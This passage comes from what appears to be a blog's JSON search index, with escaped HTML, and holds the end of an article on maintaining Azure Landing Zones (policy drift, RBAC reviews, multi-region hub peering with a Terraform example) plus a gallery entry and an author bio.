text-anchor='middle' x='480' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='4' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='20' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='52' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='68' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='504' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='20' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='20' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='52' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='528' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='116' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='68' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='20' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='68' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='52' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='68' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='68' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='68' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='52' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='68' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='52' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='68' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='68' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='52' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='68' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cp\u003e\u003cstrong\u003eBicep Pattern:\u003c/strong\u003e Use \u003cstrong\u003eDeployment Stacks\u003c/strong\u003e to manage the transition. The stack reconciles the template change and updates existing resources in-place rather than replacing them.\u003c/p\u003e\n\u003ch2 id=\"4-governance-and-identity-lifecycle\"\u003e4. Governance and Identity Lifecycle\u003c/h2\u003e\n\u003cp\u003eThe average landing zone accumulates RBAC cruft faster than any other category. Every quarter, your platform team should perform two key reviews:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eOrphaned Role Review:\u003c/strong\u003e Use PowerShell to find role assignments linked to \u0026ldquo;Identity not found\u0026rdquo; (deleted) principals and remove them.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAccess Review:\u003c/strong\u003e Use \u003cstrong\u003eEntra ID Access Reviews\u003c/strong\u003e (P2) to force on-call engineers to justify their PIM eligibility every 90 days. A \u0026ldquo;Deny-by-Inaction\u0026rdquo; default is the safest posture.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"5-hub-evolution-scaling-to-multi-region\"\u003e5. Hub Evolution: Scaling to Multi-Region\u003c/h2\u003e\n\u003cp\u003eWhen you expand to a second Azure region, the decision between \u003cstrong\u003eGlobal VNet Peering\u003c/strong\u003e (for simplicity) and \u003cstrong\u003eAzure Virtual WAN\u003c/strong\u003e (for massive scale) is your primary architectural pivot. For most organizations, regional hub-to-hub peering is sufficient for up to 4 regions.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-hcl\" data-lang=\"hcl\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# Adding a secondary hub is additive logic\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;hub_secondary\u0026#34;\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  source \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;./modules/hub-networking\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  location \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;westeurope\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  address_space \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;10.1.0.0/16\u0026#34;\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  peer_to_hub_id \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003emodule\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003ehub_primary\u003c/span\u003e.\u003cspan style=\"color:#66d9ef\"\u003evnet_id\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003ePlatform as a Product:\u003c/strong\u003e Give your landing zone a roadmap and a dedicated maintenance window.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWeekly Drift Scans:\u003c/strong\u003e Catch deviations in days, not months.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eRemediate via Policy:\u003c/strong\u003e Avoid manual \u0026ldquo;Quick Fixes.\u0026rdquo; Use the policy engine to maintain the audit trail.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePin Your Versions:\u003c/strong\u003e Never use \u003ccode\u003elatest\u003c/code\u003e for AVM modules. Use Renovate or Dependabot to manage upgrades as code.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eThe Azure Platform Engineering series is complete.\u003c/strong\u003e You have built a production-ready foundation from scratch, secured it with Zero Trust identity, and established the operational habits to keep it healthy as you scale.\u003c/p\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/governance-and-operations\"\u003eMicrosoft Learn: Cloud Adoption Framework - Governance and Operations\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://developer.hashicorp.com/terraform/language/modules/develop/refactoring\"\u003eTerraform Documentation: Refactoring with moved blocks\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://azure.github.io/Azure-Verified-Modules/\"\u003eAzure Verified Modules: Registry\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/governance/policy/how-to/remediate-resources\"\u003eMicrosoft Learn: Azure Policy Remediation\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Learn how to operate, maintain, and upgrade your Azure Landing Zone. Covers policy drift remediation, RBAC reviews, and migrating to Azure Verified Modules (AVM).","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-landing-zone-ops/","title":"Day-2 Operations: Maintaining and Evolving Your Azure Landing Zone"},{"content":"","description":"My gallery :earth_asia:","image":null,"permalink":"https://larryjameshenry.com/gallery/","title":"Image Gallery"},{"content":"\u003cp\u003eI am a Senior DevOps Engineer and Azure Solutions Architect specializing in Platform Engineering and PowerShell automation. My mission is to help organizations build governed, scalable, and production-ready Azure environments using modern Infrastructure as Code (IaC) patterns like Terraform and Bicep.\u003c/p\u003e\n\u003cp\u003eWith over a decade of experience in the Microsoft ecosystem, I focus on the \u0026ldquo;Day 0\u0026rdquo; to \u0026ldquo;Day 2\u0026rdquo; lifecycle of cloud infrastructure, ensuring that security, governance, and cost-optimization are baked into every deployment.\u003c/p\u003e\n\u003ch3 id=\"core-technical-expertise\"\u003eCore Technical Expertise:\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eAzure Platform Engineering (CAF/ALZ)\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePowerShell \u0026amp; Automation\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTerraform \u0026amp; Bicep (AVM)\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDevOps CI/CD (GitHub Actions/ADOs)\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCloud Governance \u0026amp; Policy\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Senior DevOps Engineer and Azure Solutions Architect specializing in Platform Engineering and PowerShell automation.","image":"/images/larryjameshenry.webp","permalink":"https://larryjameshenry.com/about/","title":"About Larry James Henry"}]